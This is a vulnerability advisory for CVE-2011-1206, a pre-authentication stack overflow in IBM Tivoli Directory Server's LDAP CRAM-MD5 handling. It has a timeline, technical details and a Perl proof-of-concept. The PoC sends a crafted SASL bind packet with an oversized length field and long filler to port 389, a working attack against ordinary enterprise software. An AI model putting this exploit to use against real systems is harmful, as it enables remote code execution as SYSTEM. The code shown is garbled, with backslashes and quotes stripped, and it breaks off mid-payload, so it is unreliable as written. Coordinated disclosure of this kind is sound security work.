IBM Tivoli Directory Server SASL Bind请求远程代码执行漏洞

Source: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid=26 

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Application:   IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability 

Platforms:   Windows 

Exploitation:   Remote code execution 

CVE Number:   CVE-2011-1206  

ZDI number:   ZDI-11-136 

{PRL}:   2011-06 

Author:   Francis Provencher (Protek Research Labs) 

WebSite:   http://www.protekresearchlab.com/ 

Twitter:   @ProtekResearch 

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1) Introduction 

2) Report Timeline 

3) Technical details 

4) POC 

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=============== 

1) Introduction 

=============== 

IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, 

is an IBM implementation of the Lightweight Directory Access Protocol, 

and is part of the IBM Tivoli Identity & Access Management portfolio. 

IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant 

enterprise directory for corporate intranets and the Internet. Directory Server is 

built to serve as the identity data foundation for rapid development and deployment 

of Web applications and security and identity management initiatives by including 

strong management, replication and security features.Several authentication methods 

are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. 

ITDS supports digital certificate-based authentication, the Simple Authentication and 

Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), 

and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP 

infrastructure that provides a foundation for deploying comprehensive identity management 

applications and advanced software architectures. 

(http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server) 

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============================ 

2) Report Timeline 

============================ 

2011-02-17 - Vulnerability reported to vendor 

2011-04-18 - Coordinated public release of advisory 

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==================== 

3) Technical details 

==================== 

This vulnerability allows remote attackers to execute arbitrary code on vulnerable 

installations of IBM Tivoli Directory Server. Authentication is not required to 

exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles 

LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the 

process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the 

allocation of a buffer for the packet data. A specially crafted packet can cause 

the ber_get_int function to allocate a buffer that is too small to fit the packet 

data, causing a subsequent stack-based buffer overflow. This can be leveraged by 

a remote attacker to execute arbitrary code under the context of the SYSTEM user. 

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=========== 

4) POC 

=========== 

#!/usr/bin/perl 

use strict; 

use warnings; 

use Getopt::Std; 

use IO::Socket::INET; 

$SIG{INT}  = &abort; 

my $host  = 192.168.100.24; 

my $port  = 389; 

my $proto = tcp; 

my $sockType = SOCK_STREAM; 

my $timeout = 1; 

my %opt; 

my $opt_string = hH:P:t:; 

getopts( "$opt_string", \%opt ); 

if (defined $opt{h}) { 

    usage() 

} 

$host    = $opt{H} ? $opt{H} : $host; 

$port    = $opt{P} ? $opt{P} : $port; 

$timeout = $opt{t} ? $opt{t} : $timeout; 

my @commands = ( 

{Command => Send, 

 Data => "x30x18x02x01x01x60x13x02x01x03x04x00xA3x0Cx04x08x43x52x41x4Dx2Dx4Dx44x35x04x00"}, 

{Command => Receive}, 

{Command => Send, 

 Data => "x30x82x01x41x02x01x02x60x82x01x3Ax02x01x03x04x00xA3x82x01x31x04x08x43x52x41x4Dx2Dx4Dx44x35x04x84xFFxFFxFFxFFx41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41